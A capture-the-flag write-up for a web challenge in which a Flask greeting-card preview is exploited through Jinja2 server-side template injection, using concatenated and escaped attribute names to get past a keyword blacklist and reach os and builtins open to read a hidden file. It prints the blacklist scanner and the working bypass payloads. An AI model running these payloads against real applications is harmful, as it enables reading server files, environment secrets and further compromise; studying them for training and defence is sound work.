Online Greeting Cards
Our online greeting card studio lets you design and preview personalized cards in real time.
To keep pranksters out, the developer added a strict keyword filter. Can you bypass the blacklist and uncover the secret hidden on the server?
Connections
- https://converter-justify-never-equation.trycloudflare.com
Recon
A small studio page with two fields, Recipient Name and Greeting Message, and a Preview Card button that posts both to /preview, where the server renders a personalized card from the input. The challenge says a strict keyword filter guards that render and asks us to uncover a secret hidden on the server. No source was handed out, so the whole solve is black-box against the live instance, and the flag format is NVR{...}.
<form action="/preview" method="POST">
<input type="text" id="name" name="name" placeholder="e.g. Alice" />
<textarea
id="message"
name="message"
rows="4"
placeholder="Happy New Year!"
></textarea>
<button type="submit">Preview Card</button>
</form>

We typed {{7*7}} into the Recipient Name box, left the message benign, and clicked Preview Card. The card came back reading “Greeting card for 49”, so the name field is handed to a full, non-sandboxed Jinja2 engine. That is server-side template injection, and the only question left is what the filter blocks.

Every response has one of two shapes, and telling them apart is the basis for the whole filter map. An accepted input lands inside a card div:
<div class="card">
<h2>Greeting card for Alice</h2>
<p>Happy New Year</p>
</div>
A rejected input replaces the card with an error box, and the status code stays 200 for both, so only the body tells the two apart:
<div class="error-box">Forbidden keyword detected!</div>

Mapping the blacklist
We wrote a scanner that posts one keyword at a time into the name field and sorts each response into three modes, BLOCKED for the error box, ERROR for a page with neither card nor error box (a Jinja syntax error, for instance), and PASS for a rendered card. A one-second pause between requests keeps the instance from answering bursts with 429s. The probe function does the classifying, keyed on the two markers above:
def probe(payload, param="name"):
data = {"name": "X", "message": "Y"}
data[param] = payload
r = requests.post(URL, data=data, timeout=25)
body = r.text
if "error-box" in body:
s = body.find('error-box')
return (f"BLOCKED[{r.status_code}]", body[body.find('>', s)+1:body.find('</div>', s)])
start = body.find('<div class="card">')
if start == -1:
return (f"ERROR[{r.status_code}]", body[:120].replace("\n", " "))
end = body.find('</div>', start)
card = body[start:end+6]
rendered = card[card.find('for ')+4:card.find('</h2>')] if 'for ' in card else card
return (f"PASS[{r.status_code}]", rendered)
Running the scanner against the name field prints one line per keyword. The keyword list held every classic dunder spelling and its plain word, the usual Flask and Jinja globals, and one syntactic character at a time.
Every blocked word drew the same error box: class, mro, subclasses, globals, builtins, init, base, eval, exec, open, read, flag, attr, popen, os, system, subprocess, import, config, request, self, lipsum, cycler, joiner, namespace, application, and the dunder spellings __class__, __mro__, __subclasses__, __globals__, __builtins__, __init__, __base__. Passing words included __dict__, __getitem__, url_for, get_flashed_messages, dict, flask, app, environ, template, render, jinja, and every delimiter and syntactic character we tried, {{, }}, {%, [, ], (, ), ', ", _, ., |, +, ~.
The map settles two properties of the filter. It checks literal words by substring containment rather than characters; the proof is that application is blocked while app passes, and __dict__ and __getitem__ pass while every dunder that spells a blocked word fails. And since only contiguous words are checked, a payload whose raw text never contains a blocked word goes through, even when the string it assembles at render time does.
Exploitation
Getting past the blocked accessors
The standard Jinja2 escape chains all walk attributes from a root object, x.__class__.__mro__[1].__subclasses__() or lipsum.__globals__['os'], with |attr('__class__') as the usual fallback when dot syntax is filtered. Every carrier word in those chains is blacklisted here, including attr itself, which rules out the |attr filter along with the lipsum and cycler globals. The accessor that survives is subscripting, because in Jinja2’s default environment obj['name'] tries real subscripting first and falls back to getattr, so a string built at render time can name any attribute without its blocked spelling ever appearing in the raw payload.
Verifying the primitives on a local Jinja2
Both halves of that claim are engine semantics, and the instance is rate-limited, so we checked them against a local Jinja2 3.1.6 before spending requests on the target:
from jinja2 import Environment
env = Environment() # default, non-sandboxed (Flask-like base)
tests = [
("{{ '__cla\\x73\\x73__' }}", "string \\x escape support"),
("{{ '__cla\\x73\\x73__'|length }}", "escape length == 9"),
("{{ ''['__cla\\x73\\x73__'] }}", "getitem->getattr fallback: ''['__class__']"),
("{{ ().__getitem__('__cla\\x73\\x73__') }}", "explicit __getitem__ on tuple"),
("{{ ''.__dict__ }}", "str __dict__"),
("{{ [1,2]|join }}", "join filter"),
("{{ 'o'+'s' }}", "concat"),
("{{ ('__glob'+'als__') }}", "concat dunder"),
]
for t, desc in tests:
try:
out = env.from_string(t).render()
print(f"OK {desc}: {t!r} -> {out[:60]!r}")
except Exception as e:
print(f"FAIL {desc}: {t!r} -> {type(e).__name__}: {str(e)[:80]}")
$ python3 test_jinja.py
OK string \x escape support: "{{ '__cla\\x73\\x73__' }}" -> '__class__'
OK escape length == 9: "{{ '__cla\\x73\\x73__'|length }}" -> '9'
OK getitem->getattr fallback: ''['__class__']: "{{ ''['__cla\\x73\\x73__'] }}" -> "<class 'str'>"
FAIL explicit __getitem__ on tuple: "{{ ().__getitem__('__cla\\x73\\x73__') }}" -> TypeError: tuple indices must be integers or slices, not str
OK str __dict__: "{{ ''.__dict__ }}" -> ''
OK join filter: '{{ [1,2]|join }}' -> '12'
OK concat: "{{ 'o'+'s' }}" -> 'os'
OK concat dunder: "{{ ('__glob'+'als__') }}" -> '__globals__'
The first line shows \x73 decoding to s inside a string literal, so '__cla\x73\x73__' renders as __class__ while the payload never spells the word, and the length of 9 confirms the escape is decoded rather than kept as four characters. The third line is the bypass in miniature, ''['__class__'] resolving through the getattr fallback to <class 'str'>. The FAIL line is why the chain uses the [] operator and never calls __getitem__ itself, since a tuple’s real __getitem__ raises on a string index and nothing retries with getattr, while [] is the operator that falls back. Concatenation in the last two lines assembles any blocked token at render time.
Walking the chain
For a root object we needed a Jinja global that the filter allows. Flask exposes a handful of plain Python functions as Jinja globals in every rendered template, and get_flashed_messages passed the filter. It is defined in flask/helpers.py, so the __globals__ reached through it are the flask.helpers module globals, a dictionary that holds the os module and every module’s __builtins__. We walked that route one layer at a time.
First, confirm the traversal reaches module globals:
{{ get_flashed_messages['__glob'+'als__'] }}
The card rendered the entire flask.helpers globals dict, including '__file__': '/usr/local/lib/python3.11/site-packages/flask/helpers.py', which pinned the stack as Flask on Python 3.11.
Environment variables are the cheapest place for a hidden secret, so we dumped os.environ through the same route next:
{{ get_flashed_messages['__glob'+'als__']['o'+'s']['environ'] }}
No flag in the dump, but it showed HOSTNAME as 2f6cf0aaecb7 and SERVER_SOFTWARE as gunicorn/27.0.1, so os was reachable and the app runs in a Docker container. With the environment clean, the secret had to be a file, so we listed the filesystem root:
{{ get_flashed_messages['__glob'+'als__']['o'+'s']['listdir']('/') }}
['opt', 'mnt', 'boot', 'lib64', 'srv', 'dev', 'proc', 'usr', 'run', 'tmp',
'lib', 'var', 'home', 'bin', 'etc', 'sbin', 'media', 'root', 'sys',
'.dockerenv', 'sec_d52e01d6.txt', 'app']
One entry is not part of a stock container, sec_d52e01d6.txt sitting at the root. Reading it needs open and read, both blacklisted, but neither has to appear contiguously, and the filename itself contains no blocked substring. Module globals always carry __builtins__, which holds Python’s built-in functions, open among them, and indexing a module goes through the same getattr fallback because modules are not subscriptable. popen, system and subprocess are all blocked words, so the builtin open is the reader. Splitting the three dangerous tokens across + concatenations gives the final payload, delivered as the name field by the same kind of request as every probe:
python3 read_flag.py
payload = ("{{ get_flashed_messages['__glob'+'als__']"
"['__buil'+'tins__']['op'+'en']('/sec_d52e01d6.txt')"
"['re'+'ad']() }}")
data = {"name": payload, "message": "Y"}
r = requests.post(URL, data=data, timeout=30)
The preview page rendered the contents of the secret file on the card.

Flag capture
Greeting card for NVR{ssti_bl4ckl1st_byp4ss_v14_attr_filter}